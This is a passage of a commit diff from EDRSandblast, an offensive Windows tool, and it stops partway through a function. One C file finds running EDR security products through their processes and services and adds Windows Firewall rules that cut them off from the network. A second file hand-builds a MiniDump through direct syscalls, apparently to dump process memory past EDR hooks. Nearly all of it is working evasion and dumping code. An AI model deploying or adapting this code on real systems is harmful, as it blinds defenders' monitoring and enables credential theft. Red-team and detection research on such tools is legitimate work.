D3FC0N 30 release: Obj callbacks, firewalling, symbols w/ internet, and more

Co-authored-by: Maxime Meignan <maxime.meignan@wavestone.com>
This commit is contained in:
Qazeer
2022-08-13 09:23:48 -07:00
parent 2e037a379b
commit 48a75a7029
91 changed files with 10503 additions and 4414 deletions
+451
View File
@@ -0,0 +1,451 @@
/*
--- Firewall rules to block EDR products from the network (inboud / outbound connections).
*/
#include "../EDRSandblast.h"
#include "Firewalling.h"
HRESULT FirewallBlockEDRBinaries(fwBlockingRulesList* sFWEntries) {
HRESULT hrStatus = S_OK;
// Create the Firewall blocking rules.
for (fwBinaryRules* slistNewFWEntry = sFWEntries->first; slistNewFWEntry != NULL; slistNewFWEntry=slistNewFWEntry->next) {
slistNewFWEntry->ruleInboundName = (TCHAR*) calloc(FW_RULE_NAME_MAX_LENGTH + 1, sizeof(TCHAR));
slistNewFWEntry->ruleOutboundName = (TCHAR*) calloc(FW_RULE_NAME_MAX_LENGTH + 1, sizeof(TCHAR));
if (!(slistNewFWEntry->ruleInboundName && slistNewFWEntry->ruleOutboundName)) {
_tprintf_or_not(TEXT("[!] Could not allocate memory to create Firewall blocking rules for \"%s\"\n"), slistNewFWEntry->binaryPath);
return 1;
}
hrStatus = CreateFirewallRuleBlockBinary(slistNewFWEntry->binaryPath, NET_FW_RULE_DIR_IN, slistNewFWEntry->ruleInboundName);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Error while creating the Firewall inbound blocking rule for \"%s\" (CreateFirewallRuleBlockBinary failed: 0x%08lx)\n"), slistNewFWEntry->binaryPath, hrStatus);
}
else {
_tprintf_or_not(TEXT("[+] Successfully created Firewall inbound blocking rule \"%s\" for \"%s\"\n"), slistNewFWEntry->ruleInboundName, slistNewFWEntry->binaryPath);
}
hrStatus = CreateFirewallRuleBlockBinary(slistNewFWEntry->binaryPath, NET_FW_RULE_DIR_OUT, slistNewFWEntry->ruleOutboundName);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Error while creating the Firewall outbound blocking rule for \"%s\" (failed with: 0x%08lx)\n"), slistNewFWEntry->binaryPath, hrStatus);
}
else {
_tprintf_or_not(TEXT("[+] Successfully created Firewall outbound blocking rule \"%s\" for \"%s\"\n"), slistNewFWEntry->ruleOutboundName, slistNewFWEntry->binaryPath);
}
}
return hrStatus;
}
// Enumerates the process, retrieves their associated binary path, and configures Firewall blocking network inbound / outbound access for binaries associated with EDR products.
NTSTATUS EnumEDRProcess(fwBlockingRulesList* sFWEntries) {
PROCESSENTRY32 pe32;
HANDLE hProcessSnap = INVALID_HANDLE_VALUE;
HANDLE hProcess = INVALID_HANDLE_VALUE;
TCHAR binaryPath[MAX_PATH];
DWORD szBinaryPath = _countof(binaryPath);
fwBinaryRules* slistNewFWEntry = NULL;
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
_putts_or_not(TEXT("[!] Could not get a snapshot of the system's processes (CreateToolhelp32Snapshot)"));
return -1;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcessSnap, &pe32)) {
_putts_or_not(TEXT("[!] Could not retrieve information about the first process (Process32First)"));
goto cleanup;
}
do {
if (pe32.th32ProcessID == 0) {
continue;
}
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID);
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
_tprintf_or_not(TEXT("[*] Couldn't open handle on process (OpenProcess with PROCESS_QUERY_LIMITED_INFORMATION) %ld\n"), pe32.th32ProcessID);
continue;
}
szBinaryPath = _countof(binaryPath);
if (!QueryFullProcessImageName(hProcess, 0, binaryPath, &szBinaryPath)) {
_tprintf_or_not(TEXT("[*] Couldn't query image information of process with PID %ld (QueryFullProcessImageName failed with 0x%x)\n"), pe32.th32ProcessID, GetLastError());
CloseHandle(hProcess);
continue;
}
if (isFileSignatureMatchingEDR(binaryPath) || isBinaryPathMatchingEDR(binaryPath)) {
slistNewFWEntry = calloc(1, sizeof(fwBinaryRules));
if (!slistNewFWEntry) {
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path for process with PID %ld (slistNewEntry)\n"), pe32.th32ProcessID);
goto cleanup;
}
slistNewFWEntry->binaryPath = _tcsdup(binaryPath);
if (!slistNewFWEntry->binaryPath) {
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path for process with PID %ld (slistNewEntry->binaryPath)\n"), pe32.th32ProcessID);
goto cleanup;
}
fwList_insertSorted(sFWEntries, slistNewFWEntry);
_tprintf_or_not(TEXT("[+] Found EDR binary in execution (process with PID %i): \"%s\"\n"), pe32.th32ProcessID, slistNewFWEntry->binaryPath);
}
CloseHandle(hProcess);
hProcess = INVALID_HANDLE_VALUE;
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return 0;
cleanup:
if (hProcessSnap != INVALID_HANDLE_VALUE) {
CloseHandle(hProcessSnap);
}
if (hProcess != INVALID_HANDLE_VALUE) {
CloseHandle(hProcess);
}
return -1;
}
// Enumerates the Windows services, retrieves their associated binary path, and configures Firewall blocking network inbound / outbound access for binaries associated with EDR products.
NTSTATUS EnumEDRServices(fwBlockingRulesList* sFWEntries) {
SC_HANDLE hSCManager = NULL;
SC_HANDLE hService = NULL;
ENUM_SERVICE_STATUS_PROCESS* lpServices = NULL;
QUERY_SERVICE_CONFIG* lpServiceConfig = 0;
TCHAR serviceBinaryPath[MAX_PATH];
TCHAR serviceBinaryPathCopy[MAX_PATH];
DWORD lpServicesCount = 0;
DWORD dwByteCount = 0, dwBytesNeeded = 0;
DWORD dwError = 0;
BOOL returnValue;
fwBinaryRules* slistNewFWEntry = NULL;
// Open an handle on the Service Control Manager.
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE | SC_MANAGER_CONNECT);
if (!hSCManager) {
_tprintf_or_not(TEXT("[!] Error while opening handle on the SCM (OpenSCManager failed: 0x%08lx)\n"), GetLastError());
return 1;
}
// Query services through the Service Control Manager, first call always fail due to insufficient buffer size.
do {
if (lpServices) {
free(lpServices);
lpServices = NULL;
}
dwByteCount = dwByteCount + dwBytesNeeded;
lpServices = (ENUM_SERVICE_STATUS_PROCESS*)calloc(dwByteCount, sizeof(BYTE));
if (!lpServices) {
_putts_or_not(TEXT("[!] Failed to allocate memory to enumerate services"));
goto cleanup;
}
returnValue = EnumServicesStatusEx(hSCManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_FILE_SYSTEM_DRIVER | SERVICE_KERNEL_DRIVER | SERVICE_WIN32 | SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS, SERVICE_STATE_ALL, (LPBYTE)lpServices, dwByteCount, &dwBytesNeeded, &lpServicesCount, NULL, NULL);
if (!returnValue) {
dwError = GetLastError();
}
else {
dwError = 0;
}
} while (dwError == ERROR_MORE_DATA);
if (dwError != ERROR_SUCCESS) {
_tprintf_or_not(TEXT("[!] Could not enumerate EDR services (EnumServicesStatusEx failed: 0x%08lx)\n"), dwError);
goto cleanup;
}
for (DWORD dwIndex = 0; dwIndex < lpServicesCount; dwIndex++) {
dwByteCount = 0;
dwBytesNeeded = 0;
hService = OpenService(hSCManager, lpServices[dwIndex].lpServiceName, SERVICE_QUERY_CONFIG);
if (!hService) {
_tprintf_or_not(TEXT("[!] Could not open handle on service \"%s\" (\"%s\")\n"), lpServices[dwIndex].lpServiceName, lpServices[dwIndex].lpDisplayName);
continue;
}
do {
if (lpServiceConfig) {
free(lpServiceConfig);
lpServiceConfig = NULL;
}
lpServiceConfig = (QUERY_SERVICE_CONFIG*)calloc(dwBytesNeeded, sizeof(BYTE));
if (!lpServiceConfig) {
_putts_or_not(TEXT("[!] Failed to allocate memory to retrieve service configuration"));
goto cleanup;
}
dwByteCount = dwBytesNeeded;
returnValue = QueryServiceConfig(hService, lpServiceConfig, dwByteCount, &dwBytesNeeded);
if (!returnValue) {
dwError = GetLastError();
}
else {
dwError = 0;
}
} while (dwError == ERROR_INSUFFICIENT_BUFFER);
if (dwError != 0) {
_tprintf_or_not(TEXT("[!] Could not query information of service \"%s\" (\"%s\") (QueryServiceConfig failed: 0x%08lx)\n"), lpServices[dwIndex].lpServiceName, lpServices[dwIndex].lpDisplayName, dwError);
continue;
}
// If binary path is empty, skip service.
if (lpServiceConfig->lpBinaryPathName[0] == '\0') {
continue;
}
_tcscpy_s(serviceBinaryPathCopy, _countof(serviceBinaryPathCopy), lpServiceConfig->lpBinaryPathName);
// replace \SystemRoot\ with %systemroot%\
TCHAR* prefix = TEXT("\\SystemRoot\\");
SIZE_T prefix_len = _tcslen(prefix);
if (!_tcsnicmp(serviceBinaryPathCopy, prefix, prefix_len)) {
serviceBinaryPathCopy[0] = '%';
SIZE_T sizeDisplacement = sizeof(TCHAR) * (_tcslen(serviceBinaryPathCopy) + 1 - (prefix_len - 1));
memmove(&serviceBinaryPathCopy[prefix_len], &serviceBinaryPathCopy[prefix_len - 1], sizeDisplacement);
serviceBinaryPathCopy[prefix_len - 1] = '%';
}
// Remove \\??\\
prefix = TEXT("\\??\\");
prefix_len = _tcslen(prefix);
if (!_tcsnicmp(serviceBinaryPathCopy, prefix, prefix_len)) {
SIZE_T sizeDisplacement = sizeof(TCHAR) * (_tcslen(serviceBinaryPathCopy) + 1 - (prefix_len));
memmove(&serviceBinaryPathCopy[0], &serviceBinaryPathCopy[prefix_len], sizeDisplacement);
}
// insert %systemroot%\ before system32\
prefix = TEXT("system32");
prefix_len = _tcslen(prefix);
if (!_tcsnicmp(serviceBinaryPathCopy, prefix, prefix_len)) {
SIZE_T sizeDisplacement = sizeof(TCHAR) * (_tcslen(serviceBinaryPathCopy) + 1);
const TCHAR * new_prefix = TEXT("%SystemRoot%\\");
SIZE_T new_prefix_len = _tcslen(new_prefix);
memmove(&serviceBinaryPathCopy[new_prefix_len], &serviceBinaryPathCopy[0], sizeDisplacement);
memcpy(serviceBinaryPathCopy, new_prefix, new_prefix_len * sizeof(TCHAR));
}
// Remove double quotes (replace "xxxxx" with xxxxx).
TCHAR * positionSpace = NULL;
if (serviceBinaryPathCopy[0] == '"') {
TCHAR * positionSecondQuote = _tcschr(&serviceBinaryPathCopy[1], '"');
memmove(&serviceBinaryPathCopy[0], &serviceBinaryPathCopy[1], sizeof(TCHAR) * (positionSecondQuote - &serviceBinaryPathCopy[1]));
positionSecondQuote[-1] = '\0';
}
else
// Rermove arguments (replace driver.sys -qsdq azkeaze to driver.sys).
if ((positionSpace = _tcschr(serviceBinaryPathCopy, ' ')) != NULL) {
*positionSpace = '\0';
}
returnValue = ExpandEnvironmentStrings(serviceBinaryPathCopy, serviceBinaryPath, _countof(serviceBinaryPath));
if (!returnValue) {
_tprintf_or_not(TEXT("[!] Error while attempting to expand service binary path \"%s\" (ExpandEnvironmentStrings failed: : 0x%08lx)\n"), serviceBinaryPathCopy, GetLastError());
goto cleanup;
}
// check if resulting path is a file, and if it's not missing its extension
if (GetFileAttributes(serviceBinaryPath) == INVALID_FILE_ATTRIBUTES) {
SIZE_T posExtension = _tcslen(serviceBinaryPath);
_tcscpy_s(serviceBinaryPath + posExtension, _countof(serviceBinaryPath) - posExtension, TEXT(".exe"));
if (GetFileAttributes(serviceBinaryPath) == INVALID_FILE_ATTRIBUTES) {
_tcscpy_s(serviceBinaryPath + posExtension, _countof(serviceBinaryPath) - posExtension, TEXT(".sys"));
if (GetFileAttributes(serviceBinaryPath) == INVALID_FILE_ATTRIBUTES) {
_tprintf_or_not(TEXT("[!] Did not find service binary '%s' (sanitized path: '%s')\n"), lpServiceConfig->lpBinaryPathName, serviceBinaryPath);
// NB : If unquoted service path -> should also print this error message
continue;
}
}
}
if (isFileSignatureMatchingEDR(serviceBinaryPath) || isDriverPathMatchingEDR(serviceBinaryPath)) {
slistNewFWEntry = calloc(1, sizeof(fwBinaryRules));
if (!slistNewFWEntry) {
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path (slistNewEntry) for service \"%s\"\n"), lpServices[dwIndex].lpServiceName);
goto cleanup;
}
slistNewFWEntry->binaryPath = _tcsdup(serviceBinaryPath);
if (!slistNewFWEntry->binaryPath) {
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path (slistNewEntry->binaryPath) for service \"%s\"\n"), lpServices[dwIndex].lpServiceName);
goto cleanup;
}
fwList_insertSorted(sFWEntries, slistNewFWEntry);
_tprintf_or_not(TEXT("[+] Found EDR binary executed through a service name \"%s\" | path \"%s\"\n"), lpServices[dwIndex].lpServiceName, slistNewFWEntry->binaryPath);
}
if (!CloseServiceHandle(hService)) {
_tprintf_or_not(TEXT("[!] Error while closing service handle (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
goto cleanup;
}
//_tprintf_or_not(TEXT("[*] Found service: name => \"%s\" | Display name => \"%s\".\n"), lpServices[dwIndex].lpServiceName, lpServices[dwIndex].lpDisplayName);
}
if (!CloseServiceHandle(hSCManager)) {
_tprintf_or_not(TEXT("[!] Error while closing handle on the SCM (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
}
free(lpServiceConfig);
lpServiceConfig = NULL;
free(lpServices);
lpServices = NULL;
return 0;
cleanup:
if (hService) {
if (!CloseServiceHandle(hService)) {
_tprintf_or_not(TEXT("[!] Error while closing service handle (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
}
}
if (hSCManager) {
if (!CloseServiceHandle(hSCManager)) {
_tprintf_or_not(TEXT("[!] Error while closing handle on the SCM (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
}
}
if (lpServiceConfig) {
free(lpServiceConfig);
lpServiceConfig = NULL;
}
if (lpServices) {
free(lpServices);
lpServices = NULL;
}
return -1;
}
HRESULT FirewallBlockEDR(fwBlockingRulesList* sFWEntries) {
BOOL isElevatedProcess = FALSE;
BOOL firewallIsOn = FALSE;
DWORD ntStatus = 0;
HRESULT hrStatus = S_OK;
isElevatedProcess = IsElevatedProcess();
if (!isElevatedProcess) {
_putts_or_not(TEXT("[!] The current process is not elevated, will not be able to add Firewall rules"));
return E_FAIL;
}
hrStatus = IsFirewallEnabled(&firewallIsOn);
if (FAILED(hrStatus)) {
_putts_or_not(TEXT("[!] Could not configure Firewall EDR blocking rules: an error occured while attempting to determine the FireWall status"));
return E_FAIL;
}
if (!firewallIsOn) {
_putts_or_not(TEXT("[*] The Windows Firewall is NOT active for all active profiles, skipping adding Firewall rules"));
return E_FAIL;
}
_putts_or_not(TEXT("[+] The Windows Firewall is on for all active profiles!"));
_putts_or_not(TEXT("[*] Enumerating EDR processes.."));
ntStatus = EnumEDRProcess(sFWEntries);
if (!NT_SUCCESS(ntStatus)) {
_putts_or_not(TEXT("[!] An error occured while enumerating the EDR processes"));
}
_putts_or_not(TEXT(""));
_putts_or_not(TEXT("[*] Enumerating EDR services.."));
ntStatus = EnumEDRServices(sFWEntries);
if (!NT_SUCCESS(ntStatus)) {
_putts_or_not(TEXT("[!] An error occured while enumerating the EDR services"));
}
_putts_or_not(TEXT(""));
_putts_or_not(TEXT("[*] Blocking EDR found processes / services's binaries..."));
hrStatus = FirewallBlockEDRBinaries(sFWEntries);
if (FAILED(hrStatus)) {
_putts_or_not(TEXT("[!] An error occured while attempting to create Firewall blocking rules for EDR processes / services"));
}
return 0;
}
HRESULT FirewallUnblockEDR(fwBlockingRulesList* sFWEntries) {
BOOL isElevatedProcess = FALSE;
HRESULT hrStatusFinal = S_OK;
HRESULT hrStatusTemp = S_OK;
isElevatedProcess = IsElevatedProcess();
if (!isElevatedProcess) {
_putts_or_not(TEXT("[!] The current process is not elevated, will not be able to remove Firewall rules"));
return E_FAIL;
}
for (fwBinaryRules* fwEntryToDelete = sFWEntries->first; fwEntryToDelete != NULL; fwEntryToDelete = fwEntryToDelete->next) {
hrStatusTemp = DeleteFirewallRule(fwEntryToDelete->ruleInboundName);
if (FAILED(hrStatusTemp)) {
hrStatusFinal = hrStatusTemp;
}
hrStatusTemp = DeleteFirewallRule(fwEntryToDelete->ruleOutboundName);
if (FAILED(hrStatusTemp)) {
hrStatusFinal = hrStatusTemp;
}
}
return hrStatusFinal;
}
void FirewallPrintManualDeletion(fwBlockingRulesList* sFWEntries) {
_putts_or_not(TEXT("[*] The Firewall blocking rules created can be manually deleted using the following commands:"));
for (fwBinaryRules* fwEntryToDelete = sFWEntries->first; fwEntryToDelete != NULL; fwEntryToDelete = fwEntryToDelete->next) {
_tprintf_or_not(TEXT("netsh advfirewall firewall delete rule name=%s\n"), fwEntryToDelete->ruleInboundName);
_tprintf_or_not(TEXT("netsh advfirewall firewall delete rule name=%s\n"), fwEntryToDelete->ruleOutboundName);
}
}
BOOL fwList_isEmpty(fwBlockingRulesList* fwEntries) {
return fwEntries->first == NULL;
};
BOOL fwListElt_isBefore(fwBinaryRules* a, fwBinaryRules* b) {
return _tcscmp(a->binaryPath, b->binaryPath) < 0;
};
void fwList_insertSorted(fwBlockingRulesList* fwEntries, fwBinaryRules* newFWEntry) {
fwBinaryRules* first = fwEntries->first;
// if first element comes after, insert at the head
if (fwList_isEmpty(fwEntries) || fwListElt_isBefore(newFWEntry, first)) {
// insert newFWEntry at the head of the list
newFWEntry->next = fwEntries->first;
fwEntries->first = newFWEntry;
return;
}
// browse list from the start until next element comes after (or is equal to) our new element
fwBinaryRules* ptr;
for (ptr = fwEntries->first;
(ptr->next != NULL) && fwListElt_isBefore(ptr->next, newFWEntry);
ptr = ptr->next);
// if end of the list, or new entry is different to the next one (no duplicate), insert it
if ((ptr->next == NULL) || fwListElt_isBefore(newFWEntry, ptr->next)) {
// insert newFWEntry after ptr
newFWEntry->next = ptr->next;
ptr->next = newFWEntry;
}
else {
// duplicate entry, do nothing
}
}
@@ -0,0 +1,503 @@
#include <Windows.h>
#include <minidumpapiset.h>
#include "ListUtils.h"
#include "RemotePEBBrowser.h"
#include "StringUtils.h"
#include "SyscallProcessUtils.h"
#include "SW2_Syscalls.h"
#include "Undoc.h"
#include "ProcessDumpDirectSyscalls.h"
VOID writeAtRVA(DUMP_CONTEXT* dumpContext, ULONG32 rva, const PVOID data, unsigned size) {
memcpy(GetRVA((ULONG_PTR) dumpContext->BaseAddress, rva), data, size);
}
BOOL appendToDump(DUMP_CONTEXT* dumpContext, const PVOID data, DWORD size) {
ULONG32 newRVA = dumpContext->RVA + size;
if (newRVA < dumpContext->RVA) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: exceeds the 32-bit address space (int overflow)\n"));
return FALSE;
}
else if (dumpContext->DumpMaxSize < newRVA) {
while(dumpContext->DumpMaxSize < newRVA){
dumpContext->DumpMaxSize *= 2;
}
PVOID ptr = realloc(dumpContext->BaseAddress, dumpContext->DumpMaxSize);
if (!ptr) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: reallocation failed\n"));
return FALSE;
}
dumpContext->BaseAddress = ptr;
}
writeAtRVA(dumpContext, dumpContext->RVA, data, size);
dumpContext->RVA = newRVA;
return TRUE;
}
BOOL writeMiniDumpHeader(DUMP_CONTEXT* dumpContext) {
MINIDUMP_HEADER header = { 0 };
header.Signature = dumpContext->Signature;
header.Version = dumpContext->Version | (((DWORD)dumpContext->ImplementationVersion)<<16);
// Only SystemInfoStream, ModuleListStream and Memory64ListStream streams.
header.NumberOfStreams = 3;
header.NumberOfStreams = (header.NumberOfStreams + 3) & ~3; // round up to next multiple of 4, https://github.com/w1u0u1/minidump/blob/main/minidump/minidump.c ?
header.StreamDirectoryRva = sizeof(MINIDUMP_HEADER);
header.CheckSum = 0;
header.Reserved = 0;
header.TimeDateStamp = 0;
header.Flags = MiniDumpWithFullMemory;
if (!appendToDump(dumpContext, &header, sizeof(MINIDUMP_HEADER))) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: failed to write dump header\n"));
return STATUS_UNSUCCESSFUL;
}
return STATUS_SUCCES;
}
DWORD writeMiniDumpDirectories(DUMP_CONTEXT* dumpContext) {
DWORD nbDirectories = 0;
MINIDUMP_DIRECTORY systemInfoDirectory = { 0 };
systemInfoDirectory.StreamType = SystemInfoStream;
systemInfoDirectory.Location.DataSize = 0;
systemInfoDirectory.Location.Rva = 0;
if (!appendToDump(dumpContext, &systemInfoDirectory, sizeof(systemInfoDirectory))) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write SystemInfoStream directory\n"));
return STATUS_UNSUCCESSFUL;
}
nbDirectories++;
MINIDUMP_DIRECTORY moduleListDirectory = { 0 };
moduleListDirectory.StreamType = ModuleListStream;
moduleListDirectory.Location.DataSize = 0;
moduleListDirectory.Location.Rva = 0;
if (!appendToDump(dumpContext, &moduleListDirectory, sizeof(moduleListDirectory)))
{
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write ModuleListStream directory\n"));
return STATUS_UNSUCCESSFUL;
}
nbDirectories++;
MINIDUMP_DIRECTORY memory64ListDumpDirectory = { 0 };
memory64ListDumpDirectory.StreamType = Memory64ListStream;
memory64ListDumpDirectory.Location.DataSize = 0;
memory64ListDumpDirectory.Location.Rva = 0;
if (!appendToDump(dumpContext, &memory64ListDumpDirectory, sizeof(memory64ListDumpDirectory))) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write Memory64ListStream directory\n"));
return STATUS_UNSUCCESSFUL;
}
nbDirectories++;
while (nbDirectories & 3) {
MINIDUMP_DIRECTORY unusedDirectory = { 0 };
unusedDirectory.StreamType = UnusedStream;
unusedDirectory.Location.DataSize = 0;
unusedDirectory.Location.Rva = 0;
if (!appendToDump(dumpContext, &unusedDirectory, sizeof(unusedDirectory))) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write unusedDirectory directory\n"));
return STATUS_UNSUCCESSFUL;
}
nbDirectories++;
}
return STATUS_SUCCES;
}
DWORD writeMiniDumpSystemInfoStream(DUMP_CONTEXT* dumpContext) {
MINIDUMP_SYSTEM_INFO dumpSystemInfo = { 0 };
// read the PEB.
#if _WIN64
PEB64 peb = *(PPEB64) __readgsqword(0x60);
#else
PEB peb = *(PPEB) __readfsdword(0x30);
#endif
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
dumpSystemInfo.ProcessorLevel = sysInfo.wProcessorLevel;
dumpSystemInfo.ProcessorRevision = sysInfo.wProcessorRevision;
dumpSystemInfo.NumberOfProcessors = (BYTE)sysInfo.dwNumberOfProcessors;
dumpSystemInfo.ProductType = VER_NT_WORKSTATION;
dumpSystemInfo.MajorVersion = peb.OSMajorVersion;
dumpSystemInfo.MinorVersion = peb.OSMinorVersion;
dumpSystemInfo.BuildNumber = peb.OSBuildNumber;
dumpSystemInfo.PlatformId = peb.OSPlatformId;
dumpSystemInfo.ProcessorArchitecture = PROCESSOR_ARCHITECTURE;
dumpSystemInfo.CSDVersionRva = 0;
dumpSystemInfo.SuiteMask = VER_SUITE_SINGLEUSERTS;
dumpSystemInfo.Reserved2 = 0;
dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0] = 0;
dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[1] = 0;
for (DWORD i = 0; i < sizeof(dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0]) * 8; i++) {
if (IsProcessorFeaturePresent(i)) {
dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0] |= 1LL << i;
}
}
RVA streamRVA = dumpContext->RVA;
ULONG32 streamSize = sizeof(dumpSystemInfo);
if (!appendToDump(dumpContext, &dumpSystemInfo, streamSize)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the SystemInfoStream (stream rva)\n"));
return STATUS_UNSUCCESSFUL;
}
// Append CSDVersion string
#if _WIN64
ULONG32 CSDVersionLength = peb.CSDVersion.uOrDummyAlign.u.Length;
#else
ULONG32 CSDVersionLength = peb.CSDVersion.Length;
#endif
ULONG32 CSDVersionBufferLength = CSDVersionLength + sizeof(WCHAR);
PMINIDUMP_STRING CSDVersion = calloc(1, sizeof(MINIDUMP_STRING) + CSDVersionBufferLength);
if (!CSDVersion) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't allocate CSDVersion string\n"));
return STATUS_UNSUCCESSFUL;
}
CSDVersion->Length = CSDVersionLength;
memcpy(CSDVersion->Buffer, peb.CSDVersion.Buffer, CSDVersionBufferLength);
RVA CSDVersionRVA = dumpContext->RVA;
appendToDump(dumpContext, CSDVersion, sizeof(MINIDUMP_STRING) + CSDVersionBufferLength);
// write our length in the MiniDumpSystemInfo directory
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + offsetof(MINIDUMP_DIRECTORY, Location.DataSize), &streamSize, sizeof(streamSize));
// write our RVA in the MiniDumpSystemInfo directory
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + offsetof(MINIDUMP_DIRECTORY, Location.Rva), &streamRVA, sizeof(streamRVA));
// write the CSDVersion RVA in the SystemInfoStream
writeAtRVA(dumpContext, streamRVA + offsetof(MINIDUMP_SYSTEM_INFO, CSDVersionRva), &CSDVersionRVA, sizeof(CSDVersionRVA));
return STATUS_SUCCES;
}
DWORD writeMiniDumpModuleListStream(DUMP_CONTEXT* dumpContext, PMODULE_INFO pmoduleList) {
PMODULE_INFO currentModule = pmoduleList;
ULONG32 modulesCount = 0;
// Write modules dll metadata (length & path).
while (currentModule) {
modulesCount = modulesCount + 1;
currentModule->nameRVA = dumpContext->RVA;
// Write the module fullname length.
ULONG32 DllFullNameLength = (ULONG32)(wcsnlen((WCHAR*) &currentModule->dllName, sizeof(currentModule->dllName)) + 1) * sizeof(WCHAR);
if (!appendToDump(dumpContext, &DllFullNameLength, 4)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of module DllFullName length failed)\n"));
return STATUS_UNSUCCESSFUL;
}
// Write the module fullname length.
if (!appendToDump(dumpContext, currentModule->dllName, DllFullNameLength)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of module DllFullName failed)\n"));
return STATUS_UNSUCCESSFUL;
}
currentModule = currentModule->next;
}
// Write the number of modules.
RVA streamRVA = dumpContext->RVA;
if (!appendToDump(dumpContext, &modulesCount, 4)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of number of modules failed)\n"));
return STATUS_UNSUCCESSFUL;
}
// Write the modules data.
currentModule = pmoduleList;
while (currentModule) {
MINIDUMP_MODULE module = { 0 };
module.BaseOfImage = (ULONG_PTR)currentModule->dllBase;
module.SizeOfImage = currentModule->ImageSize;
module.CheckSum = currentModule->checkSum;
module.TimeDateStamp = currentModule->timeDateStamp;
module.ModuleNameRva = currentModule->nameRVA;
module.VersionInfo.dwSignature = 0;
module.VersionInfo.dwStrucVersion = 0;
module.VersionInfo.dwFileVersionMS = 0;
module.VersionInfo.dwFileVersionLS = 0;
module.VersionInfo.dwProductVersionMS = 0;
module.VersionInfo.dwProductVersionLS = 0;
module.VersionInfo.dwFileFlagsMask = 0;
module.VersionInfo.dwFileFlags = 0;
module.VersionInfo.dwFileOS = 0;
module.VersionInfo.dwFileType = 0;
module.VersionInfo.dwFileSubtype = 0;
module.VersionInfo.dwFileDateMS = 0;
module.VersionInfo.dwFileDateLS = 0;
module.CvRecord.DataSize = 0;
module.CvRecord.Rva = 0;
module.MiscRecord.DataSize = 0;
module.MiscRecord.Rva = 0;
module.Reserved0 = 0;
module.Reserved1 = 0;
if (!appendToDump(dumpContext, &module, sizeof(module))) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of module bytes failed)\n"));
return STATUS_UNSUCCESSFUL;
}
currentModule = currentModule->next;
}
// Write the total length in the ModuleListStream directory.
// header + 1 directory + streamType
ULONG32 streamSize = sizeof(modulesCount) + modulesCount * sizeof(MINIDUMP_MODULE);
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) + offsetof(MINIDUMP_DIRECTORY, Location.DataSize), &streamSize, sizeof(streamSize));
// Write our RVA in the ModuleListStream directory.
// header + 1 directory + streamType + Location.DataSize
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) + offsetof(MINIDUMP_DIRECTORY, Location.Rva), &streamRVA, sizeof(streamRVA));
return STATUS_SUCCES;
}
DWORD writeMiniDumpMemory64ListStream(DUMP_CONTEXT* dumpContext, PMEMORY_PAGE_INFO pmemoryPages) {
RVA streamRVA = dumpContext->RVA;
PMINIDUMP_MEMORY64_LIST memory64List = calloc(1, sizeof(MINIDUMP_MEMORY64_LIST));
if (!memory64List) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't alloc the Memory64ListStream structure\n"));
return STATUS_UNSUCCESSFUL;
}
// Count the number of memory ranges.
PMEMORY_PAGE_INFO currentMemoryPage = pmemoryPages;
ULONG32 memoryPagesCount = 0;
while (currentMemoryPage) {
memoryPagesCount++;
currentMemoryPage = currentMemoryPage->next;
}
memory64List->NumberOfMemoryRanges = memoryPagesCount;
// Extend the structure to host all ranges
ULONG32 streamSize = sizeof(MINIDUMP_MEMORY64_LIST) + memoryPagesCount * sizeof(MINIDUMP_MEMORY_DESCRIPTOR64);
PMINIDUMP_MEMORY64_LIST tmp = realloc(memory64List, streamSize);
if (!tmp) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't realloc the Memory64ListStream structure\n"));
return STATUS_UNSUCCESSFUL;
}
memory64List = tmp;
// Compute the rva of the actual memory content
RVA64 baseRVA = (RVA64)streamRVA + (RVA64)streamSize;
